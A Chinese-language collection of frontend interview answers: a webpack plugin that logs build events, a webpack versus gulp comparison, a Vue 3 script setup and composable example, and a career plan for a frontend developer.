這個插件會在編譯開始和完成時打印日誌。
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/plugins/HelloPlugin.js"]
class HelloPlugin {
constructor(options = {}) {
this.options = {
message: 'Hello from HelloPlugin!',
...options
};
}
apply(compiler) {
// 監聽編譯開始
compiler.hooks.compilation.tap('HelloPlugin', (compilation) => {
console.log('✅ Compilation started:', this.options.message);
// 監聽模塊構建完成
compilation.hooks.buildModule.tap('HelloPlugin', (module) => {
console.log('📦 Building module:', module.nameForCondition());
});
// 監聽生成資源完成
compilation.hooks.afterOptimizeAssets.tap('HelloPlugin', () => {
console.log('✨ Assets optimized!');
});
});
// 監聽編譯完成
compiler.hooks.done.tap('HelloPlugin', (stats) => {
console.log('🎉 Build completed successfully!');
console.log('Total files:', stats.compilation.assets ? Object.keys(stats.compilation.assets).length : 0);
});
}
}
module.exports = HelloPlugin;
✅ 三、使用該插件(在 webpack.config.js 中)
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/webpack.config.js"]
const path = require('path');
const HelloPlugin = require('./plugins/HelloPlugin');
module.exports = {
mode: 'development',
entry: './src/index.js',
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, 'dist')
},
plugins: [
new HelloPlugin({
message: 'Webpack is awesome!'
})
]
};
✅ 四、插件核心原理説明
| 鈎子(Hook) | 説明 |
|---|---|
compiler.hooks.compilation |
每次編譯開始時觸發,獲取 compilation 實例 |
compilation.hooks.buildModule |
每個模塊構建時觸發 |
compilation.hooks.afterOptimizeAssets |
資源優化後觸發 |
compiler.hooks.done |
構建完成時觸發 |
Webpack 5 使用了 tapable 庫管理這些鈎子,支持同步/異步、瀑布流、並行等模式。
✅ 五、進階功能(可選)
你可以進一步擴展插件功能:
- 注入代碼:使用
compilation.assets添加新文件。 - 修改資源內容:讀取
compilation.assets並修改source()。 - 分析依賴:遍歷
compilation.modules獲取模塊依賴。 - 支持異步鈎子:使用
tapAsync或tapPromise。
✅ 六、推薦目錄結構
paas-plus-web/
├── plugins/
│ └── HelloPlugin.js ← 你的插件
├── webpack.config.js ← 配置文件
├── src/
│ └── index.js
└── dist/
✅ 七、測試插件
運行構建命令:
npx webpack
你會看到類似輸出:
✅ Compilation started: Webpack is awesome!
📦 Building module: ./src/index.js
✨ Assets optimized!
🎉 Build completed successfully!
Total files: 1
✅ 八、參考文檔
- Webpack 官方插件文檔
- Tapable 文檔
webpack和gulp的區別
Webpack 和 Gulp 都是前端開發中常用的構建工具,但它們在設計理念、使用方式和適用場景上有顯著區別。以下是兩者的主要對比:
一、核心定位不同
| 項目 | Webpack | Gulp |
|---|---|---|
| 定位 | 模塊打包工具(Module Bundler) | 流式構建工具(Task Runner) |
| 核心思想 | 基於“模塊化”的打包,將所有資源(JS、CSS、圖片等)視為模塊,通過依賴圖進行打包 | 基於“任務流”的自動化構建,通過管道(pipeline)處理文件 |
二、工作方式對比
| 特性 | Webpack | Gulp |
|---|---|---|
| 構建流程 | 以入口文件為起點,分析依賴圖,遞歸打包所有模塊,輸出一個或多個 bundle 文件(如 bundle.js) |
通過配置任務(task),按順序執行一系列操作(如壓縮、編譯、複製等) |
| 處理方式 | 通過 loader 和 plugin 處理不同類型的文件(如 .js、.css、.less、.png) |
通過 stream 流式處理文件,支持 gulp.src() → gulp.pipe() → gulp.dest() 的流水線操作 |
| 配置方式 | 以 webpack.config.js 為主,定義入口、輸出、loader、plugin 等 |
以 gulpfile.js 為主,定義任務函數和任務流程 |
三、典型使用場景
| 場景 | 推薦工具 | 原因 |
|---|---|---|
| 單頁應用(SPA)如 React/Vue 項目 | ✅ Webpack | 支持模塊熱更新(HMR)、代碼分割(code splitting)、懶加載等現代前端特性 |
| 多頁應用(MPA)項目 | ✅ Webpack | 可配置多個入口,生成多個 bundle |
| 簡單的文件處理任務(如壓縮、合併、自動刷新) | ✅ Gulp | 輕量、靈活,適合非打包場景的自動化任務 |
| 需要高度自定義構建流程 | ⚠️ Gulp 更靈活 | Gulp 的流式處理適合複雜邏輯控制 |
| 需要現代化模塊化開發支持 | ✅ Webpack | 原生支持 ES Module、CommonJS、AMD 等模塊規範 |
四、性能與生態
| 項目 | Webpack | Gulp |
|---|---|---|
| 性能 | 通常較慢(尤其大型項目),但可通過 splitChunks、optimization 優化 |
通常更快,尤其處理小文件時,因為基於流 |
| 生態 | 有龐大的 loader 和 plugin 生態(如 babel-loader、css-loader、html-webpack-plugin) |
也有豐富插件生態(如 gulp-sass、gulp-uglify),但不如 Webpack 豐富 |
| 學習曲線 | 較陡,配置複雜 | 相對平緩,代碼直觀 |
五、簡單示例對比
1. Webpack 示例(webpack.config.js)
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/webpack.config.js"]
const path = require('path');
module.exports = {
entry: './src/index.js',
output: {
path: path.resolve(__dirname, 'dist'),
filename: 'bundle.js'
},
module: {
rules: [
{
test: /\.js$/,
use: 'babel-loader'
},
{
test: /\.css$/,
use: ['style-loader', 'css-loader']
}
]
}
};
2. Gulp 示例(gulpfile.js)
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/gulpfile.js"]
const gulp = require('gulp');
const babel = require('gulp-babel');
const uglify = require('gulp-uglify');
const sass = require('gulp-sass')(require('sass'));
gulp.task('scripts', function () {
return gulp.src('src/**/*.js')
.pipe(babel())
.pipe(uglify())
.pipe(gulp.dest('dist/js'));
});
gulp.task('styles', function () {
return gulp.src('src/**/*.scss')
.pipe(sass())
.pipe(gulp.dest('dist/css'));
});
gulp.task('default', gulp.parallel('scripts', 'styles'));
六、總結:如何選擇?
| 選擇建議 | 推薦工具 |
|---|---|
| 開發現代單頁應用(React/Vue/Angular) | ✅ Webpack(或 Vite) |
| 項目簡單,僅需壓縮、複製、編譯等任務 | ✅ Gulp |
| 需要高度自定義構建流程 | ✅ Gulp |
| 希望開箱即用模塊化打包體驗 | ✅ Webpack |
| 項目已使用 Webpack,想補充任務 | 可結合使用(如用 Gulp 做部署、監控等) |
💡 趨勢:隨着 Webpack 和 Vite 的發展,Webpack 逐漸成為主流打包工具,而 Gulp 更多用於補充任務自動化(如部署、清理、監聽等)。
✅ 建議:
- 如果你是現代前端開發,優先使用 Webpack 或 Vite。
- 如果需要執行文件處理、部署、監控等任務,可搭配 Gulp 使用,但不必再用 Gulp 做打包。
分享1個你最近學習、瞭解或應用的新技術
當然可以!以下是我最近學習和應用的一個前沿的前端技術:Vue 3 的 Composition API 與 <script setup> 語法糖。
✅ 技術名稱:Vue 3 的 <script setup> 語法糖 + Composition API
📌 為什麼值得關注?
在 Vue 3 中,<script setup> 是一種新的語法糖,它讓開發者可以更簡潔、高效地使用 Composition API,尤其適合中大型項目中邏輯複用和代碼組織。
💡 核心優勢
| 優勢 | 説明 |
|---|---|
| ✅ 更簡潔的語法 | 不需要 setup() 函數,直接寫邏輯,代碼更清晰 |
| ✅ 自動暴露變量 | 所有變量和函數都會自動暴露給模板使用 |
| ✅ 更好的 TS 支持 | 與 TypeScript 集成更自然 |
| ✅ 更強的邏輯複用能力 | 結合自定義 Composables,實現跨組件邏輯複用 |
🧪 示例代碼:使用 <script setup> 實現一個計數器組件
<!-- [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/components/Counter.vue"] -->
<template>
<div>
<p>當前計數:{{ count }}</p>
<button @click="increment">+</button>
<button @click="decrement">-</button>
<button @click="reset">重置</button>
</div>
</template>
<script setup>
import { ref } from 'vue'
// 響應式數據
const count = ref(0)
// 方法
const increment = () => {
count.value++
}
const decrement = () => {
count.value--
}
const reset = () => {
count.value = 0
}
</script>
<style scoped>
button {
margin: 0 4px;
padding: 6px 12px;
font-size: 14px;
}
</style>
🔧 深入:如何封裝可複用的 Composable?
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/composables/useCounter.ts"]
import { ref } from 'vue'
export function useCounter(initialValue = 0) {
const count = ref(initialValue)
const increment = () => {
count.value++
}
const decrement = () => {
count.value--
}
const reset = () => {
count.value = initialValue
}
return {
count,
increment,
decrement,
reset
}
}
然後在組件中使用:
<script setup>
import { useCounter } from '@/composables/useCounter'
const { count, increment, decrement, reset } = useCounter(10)
</script>
📌 實踐建議(適合團隊落地)
- 新項目推薦使用
<script setup>,提升開發效率。 - 複雜邏輯抽離為 Composables,便於測試與複用。
- 結合 Vite + TypeScript,發揮最大潛力。
- 團隊統一規範:建議使用
use前綴命名 Composables,如useAuth,useApi。
🚀 總結
<script setup> + Composition API 是 Vue 3 推薦的現代開發方式,它讓 Vue 更加“函數式”、“可複用”、“類型安全”,是構建複雜前端應用的理想選擇。
簡述下自己的職業規劃
作為前端開發,我的職業規劃可以分為短期、中期和長期三個階段,旨在不斷提升技術深度與廣度,同時拓展全棧能力與工程化思維,實現從“實現頁面”到“構建系統”的轉型。
✅ 短期規劃(1-2年):夯實基礎,提升工程能力
- 技術深耕:
- 精通 Vue3 / React18 及其生態(如 Vite、Pinia、React Query、Zod 等),掌握性能優化、狀態管理、組件化設計。
- 深入理解 TypeScript,在項目中全面應用,提升代碼可維護性與可讀性。
- 掌握 現代 CSS(如 CSS-in-JS、Tailwind CSS、CSS Variables),提升 UI 一致性與開發效率。 - 工程化能力:
- 熟練使用 Webpack/Vite 進行構建配置優化,掌握代碼分割、懶加載、Tree-shaking 等技術。
- 學習 CI/CD 流水線搭建(如 GitHub Actions、GitLab CI),實現自動化部署。 - 協作與規範:
- 推動團隊前端規範統一(如 ESLint、Prettier、Commitlint),提升協作效率。
- 主動參與代碼評審,提升代碼質量意識。
✅ 中期規劃(3-4年):邁向全棧,關注系統設計
- 技術拓展:
- 學習 Node.js 後端開發,掌握 Express/Koa/NestJS,能夠獨立搭建輕量級 API 服務。
- 瞭解 微前端架構(如 qiankun、Module Federation),參與複雜系統拆分與集成。
- 掌握 Web 性能監控(如 Lighthouse、Sentry、RUM)與錯誤追蹤,提升用户體驗。 - 系統思維:
- 參與前端架構設計,如組件庫建設、UI 框架抽象、DSL 設計,推動可複用性與標準化。
- 學習設計模式、模塊解耦、可觀測性設計,從“寫代碼”轉向“設計系統”。 - 產品視角:
- 主動參與需求評審,理解業務邏輯與用户場景,提升前端在產品中的價值貢獻。
✅ 長期規劃(5年+):成為技術專家或架構師
- 技術引領:
- 成為團隊前端技術負責人或架構師,主導技術選型、架構演進與技術攻堅。
- 探索前沿方向:如 WebAssembly、AI 前端應用(如前端大模型集成)、低代碼/無代碼平台。 - 跨域協作:
- 與後端、產品、設計團隊深度協同,推動研發流程優化與自動化。
- 培養技術影響力,輸出技術文章、分享經驗,參與開源項目。 - 持續成長:
- 保持對新技術的敏感度,建立學習體系,避免技術固化。
🎯 核心理念:
從“實現頁面”到“構建可維護、高性能、可擴展的前端系統”
前端不僅是“視覺實現”,更是“用户體驗的守護者”和“系統架構的參與者”。
💡 補充建議:
- 定期輸出技術博客或內部分享,鍛鍊表達與總結能力。
- 參與開源項目,提升代碼質量與協作能力。
- 關注行業動態(如 Web3、AI Agent、邊緣計算等),保持前瞻性。
未來,我希望自己不僅能寫出“漂亮的頁面”,更能設計出“穩定、高效、易擴展”的前端系統,真正成為推動產品與技術進步的關鍵力量。